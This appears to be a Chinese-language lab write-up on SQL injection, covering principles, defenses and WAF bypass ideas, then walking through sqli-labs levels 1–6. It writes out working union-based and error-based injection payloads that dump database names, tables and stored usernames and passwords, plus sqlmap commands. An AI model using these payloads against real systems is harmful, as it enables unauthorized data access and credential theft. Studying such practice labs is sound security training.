Day05

目录

Task1:SQL注入原理、SQL注入常用函数及含义,SQL注入防御手段,SQL注入常用绕过waf的方法

1.SQL注入原理

2.SQL注入常用函数及含义

3.SQL注入防御手段

4.SQL注入常用绕过waf的方法

Task2:sqli-labs通关前5关

level1

level2

level3

level4

level5

Task3:总结SQLi的手工注入的步骤

Task4:使用sqlmap通过或验证第六关


Task1:SQL注入原理、SQL注入常用函数及含义,SQL注入防御手段,SQL注入常用绕过waf的方法

1.SQL注入原理

SQL 注入就是指 Web 应用程序对用户输入的数据合法性没有过滤或者是判断,攻击者可以在Web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。

2.SQL注入常用函数及含义

# 一些SQL注入常用的函数
UNION SELECT             # 允许攻击者将恶意查询的结果与原始查询的结果结合,从而获得额外数据。
AND                      # 用于构造布尔型条件,以绕过认证或获取更多数据。
OR                       # 类似于AND,用来创建逻辑条件来绕过验证或提取数据。
SUBSTRING                # 用于提取字符串中的特定部分,帮助攻击者逐步获取数据。
CHAR                     # 用于构造字符串,通过其ASCII码值注入恶意代码。
ASCII                    # 用于转换字符为其ASCII码,帮助分析数据库结构或绕过安全措施。
CONCAT                   # 用于连接多个字符串,帮助构造注入的SQL语句。
version()                # 查看数据库版本
database()               # 查看当前数据库名
user()                   # 查看当前数据库用户
system_user()            # 查看系统用户名
group_concat()           # 把数据库中的某列数据或某几列数据合并为一个字符串
@@datadir                # 查看数据库路径
@@version_compile_os     # 查看操作系统

3.SQL注入防御手段

1.使用预编译语句(Prepared Statements)和参数化查询:这是预防SQL注入的最有效方法之一,通过这种方式,可以确保SQL语句的结构在编译时就确定下来,之后传入的参数不会改变语句的结构,因此可以避免注入攻击。

2.使用存储过程:存储过程也可以像预编译语句一样防止SQL注入,因为它们同样使用参数化查询。

3.使用ORM(对象关系映射)工具:许多现代编程框架提供了ORM工具,它们可以自动进行参数化查询,从而降低直接编写SQL语句的风险。

4.验证用户输入:对所有用户输入进行验证,拒绝不符合预期格式的输入,可以减少注入攻击的风险。

5.使用适当的错误处理机制:不要在错误信息中透露敏感信息,以免给攻击者提供攻击线索。

6.限制数据库权限:为应用程序使用的数据库账户只赋予必要的权限,避免使用具有高级权限的账户,这样即使发生注入攻击,攻击者能做的也非常有限。

7.定期更新和打补丁:保持数据库管理系统(DBMS)更新到最新,修补已知的安全漏洞。

8.使用Web应用防火墙(WAF):WAF可以帮助识别和阻挡SQL注入攻击。

9.定期进行安全审计和代码审查:检查潜在的安全漏洞,及时修复。

10.使用参数化查询:无论何时,只要可能都应该使用参数化查询,而不是拼接SQL字符串。

4.SQL注入常用绕过waf的方法

1.变换大小写

2.编码

3.利用注释符

4.重写

5.比较操作符替换

6.同功能函数替换

7.盲注的活用

8.二阶注入

9.宽字节注入

Task2:sqli-labs通关前5关

level1

网页提示输入ID进行登录,尝试输入进入登录

 

尝试输入不同的数字,发现得到不同的结果

接下来判断sql语句是否是拼接,且是字符型还是数字型

根据结果指定是字符型且存在sql注入漏洞。因为该页面存在回显,所以我们可以使用联合查询。

首先知道表格有几列,如果报错就是超过列数,如果显示正常就是没有超出列数。

?id=1'order by 3 --+

当测试到4时报错,所以列数为3

爆出显示位,就是看看表格里面那一列是在页面显示的。可以看到是第二列和第三列里面的数据是显示在页面的

?id=-1'union select 1,2,3--+

获取当前数据名和版本号

?id=-1'union select 1,database(),version()--+

查询information_schema数据库下的tables表里面且table_schema字段内容是security的所有table_name的内容。

?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

通过sql语句查询知道当前数据库有四个表,根据表名知道可能用户的账户和密码是在users表中。接下来我们就是得到该表下的字段名以及内容。

?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

通过上述操作可以得到两个敏感字段就是username和password,接下来要得到该字段对应的内容。

?id=-1' union select 1,2,group_concat(username , password) from users--+

level2

观察第二关,同样提示输入ID进行登录

那么同样按照第一关的流程进行测试

当我们输入单引号或者双引号可以看到报错,且报错信息看不到数字,所有可以猜测sql语句应该是数字型注入

联合注入 爆出库是 ctfshow,ctftraining,information_schema,mysql,performance_schema,security,test

?id=1 and 1=2 union select 1,2,group_concat(schema_name) from information_schema.schemata--+

暴字段:

?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'

暴数据:

?id=-1 union select 1,2,group_concat(username , password) from users

level3

在url输入 ?id=1  和 ?id=1'在输入 ?id=1' 时,出现报错

可推断出sql语句是 单引号字符型,且有括号。所以闭合需要考虑单引号和括号代码相比于上一题只需加上 ‘  '  ’  和  ‘  )’   (单引号和括号)我们依旧是用 联合注入

显示表格列数

?id=1") order by 3--+

暴出显示位(可以看到哪一列是在页面显示)可见2、3列的数据显示在页面

?id=-1') union select 1,2,3--+

显示数据名和版本号

?id=-1') union select 1,database(),version()--+

显示表

?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

显示字段

?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

显示数据

?id=-1') union select 1,2,group_concat(username ,password) from users--+

level4

输入 ?id=1" 时报错

可推断出sql语句是 双引号字符型,且有括号。所以闭合需要考虑单引号和括号

代码相比于上一题只需将单引号改为双引号

显示表格列数

?id=1") order by 3--+

暴出显示位

?id=-1") union select 1,2,3--+

显示数据名和版本号

?id=-1") union select 1,database(),version()--+

显示表

?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

显示字段

?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

显示数据

?id=-1") union select 1,2,group_concat(username , password) from users--+

level5

 输入?id=1  ?id=1'  ?id=1"

根据报错结果得知是字符型

返回的也与之前不同,没有回显位,也就不使用联合注入了。选择报错注入

爆出数据库名和版本号

?id=1' and updatexml(1,concat(0x7e,database(),0x7e,version()),1) --+

爆出数据库下所有表名

?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,32)),1)--+

爆出字段

?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),1,32)),1) --+

爆出字段下数据内容

?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(username,id,password) from users),1,30)),1) --+

Task3:总结SQLi的手工注入的步骤

  • 判断是否存在注入点
  • 判断字段数量
  • 判断字段前端回显位置
  • 判断数据库信息
  • 查找数据库名
  • 查找数据库表名
  • 查找列名
  • 查数据

Task4:使用sqlmap通过或验证第六关

使用?id=1,使sqlmap识别注入点

使用powershell打开sqlmap,使用命令爆数据库:

python .\sqlmap.py -url "http://sqli-labs-master:66/Less-6/?id=1" --batch -dbs

爆security数据库的表:

python .\sqlmap.py -url "http://sqli-labs-master:66/Less-6/?id=1" --dbms=MySQL -D 'security' --tables

爆users表的列

python .\sqlmap.py -url "http://sqli-labs-master:66/Less-6/?id=1" --dbms=MySQL -D 'security' -T 'users' --dump

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值